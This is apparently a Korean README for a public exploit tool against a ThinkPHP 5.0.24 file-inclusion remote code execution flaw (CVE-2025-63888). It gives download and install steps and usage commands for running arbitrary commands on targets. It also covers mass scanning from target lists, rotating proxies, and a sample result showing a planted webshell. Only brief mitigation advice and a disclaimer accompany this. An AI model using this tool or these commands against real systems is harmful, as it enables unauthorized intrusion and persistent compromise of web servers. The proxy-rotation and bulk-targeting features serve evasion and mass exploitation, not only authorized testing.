
보안 연구 도구로, CVE-2025-63888 (ThinkPHP 5.0.24 파일 포함 RCE 취약점)을 탐지하고 테스트합니다.
ThinkPHP 5.0.24의 CVE-2025-63888 취약점을 탐지하고 테스트하기 위한 보안 연구 도구로, 파일 포함 공격을 통해 원격 코드 실행을 가능하게 합니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.
CVE-2025-63888은 ThinkPHP 5.0.24에서 발생하는 심각한 원격 코드 실행 취약점입니다. 이 취약점은 thinkphp/library/think/template/driver/File.php에 위치한 read 함수에 존재하며, 공격자가 view() 함수의 템플릿 경로를 조작하여 파일 포함 공격을 통해 임의 코드를 실행할 수 있게 합니다.
CVSS 점수: 9.8 (치명적)
영향받는 버전: ThinkPHP 5.0.24 (정확한 버전)
취약한 파일: thinkphp/library/think/template/driver/File.php
취약한 함수: read() 메서드
# 저장소 클론
git clone https://github.com/AN5I/cve-2025-63888-exploit.git
cd cve-2025-63888-exploit
# 의존성 설치
pip install -r requirements.txt
# 스크립트 실행 권한 부여 (선택 사항)
chmod +x cve_2025_63888_exploit.py
# 스크립트 다운로드
wget https://raw.githubusercontent.com/AN5I/cve-2025-63888-exploit/main/cve_2025_63888_exploit.py
# 의존성 설치
pip install requests
# 단일 대상
python3 cve_2025_63888_exploit.py -u http://target.com
# 사용자 정의 명령 실행
python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"
# 파일에서 여러 대상
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
# 더 빠른 스캔을 위한 스레딩 사용
python3 cve_2025_63888_exploit.py -u http://target.com -t 5
# 디버깅을 위한 상세 출력
python3 cve_2025_63888_exploit.py -u http://target.com -v
# 단일 프록시
python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://proxy:port
# 파일에서 여러 프록시
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
-u, --url 대상 URL
-f, --file 대상 URL이 포함된 파일 (한 줄에 하나씩)
-c, --command 실행할 명령 (기본값: id)
-t, --threads 스레드 수 (기본값: 1)
-o, --output 출력 파일 (기본값: uknf_results.json)
-v, --verbose 상세 로깅 활성화
--proxy 프록시 URL (예: http://127.0.0.1:8080)
--proxy-list 프록시 URL이 포함된 파일 (한 줄에 하나씩)
스크립트는 상세 결과를 포함한 JSON 파일을 생성합니다:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:05:35.763409",
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/index.php/index/index/view",
"webshell_created": true,
"webshell_path": "../../../runtime/log/2025/11/18.log"
}
view() 함수를 사용하는 취약한 엔드포인트 찾기ThinkPHP 5.0.24를 사용 중인 경우:
즉시 업그레이드:
경로 검증 구현:
view() 함수에 엄격한 경로 검증 추가../, ..) 차단코드 수준 수정:
realpath()를 사용하여 파일이 허용된 디렉터리 내에 있는지 확인python3 cve_2025_63888_exploit.py -u https://example.com
# 대상 파일 생성
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# 스캔 실행
python3 cve_2025_63888_exploit.py -f targets.txt -o results.json
python3 cve_2025_63888_exploit.py -u https://example.com -c "uname -a"
# 단일 프록시
python3 cve_2025_63888_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# 파일에서 여러 프록시
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_63888_exploit.py -f targets.txt --proxy-list proxies.txt
기여는 환영합니다! Pull Request를 자유롭게 제출해 주세요.
git checkout -b feature/AmazingFeature).git commit -m 'Add some AmazingFeature').git push origin feature/AmazingFeature).문제가 발생하거나 제안 사항이 있으면 GitHub에 이슈를 열어 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구가 유용하다고 생각하시면 GitHub에서 별표를 눌러 주세요!
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 프로그램의 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 시스템을 테스트하기 전에 적절한 승인을 받았는지 확인해야 합니다.
이 도구가 유용하고 프로젝트를 지원하고 싶으시다면:
비트코인 (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
이더리움 (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
지원해 주셔서 감사합니다! 🙏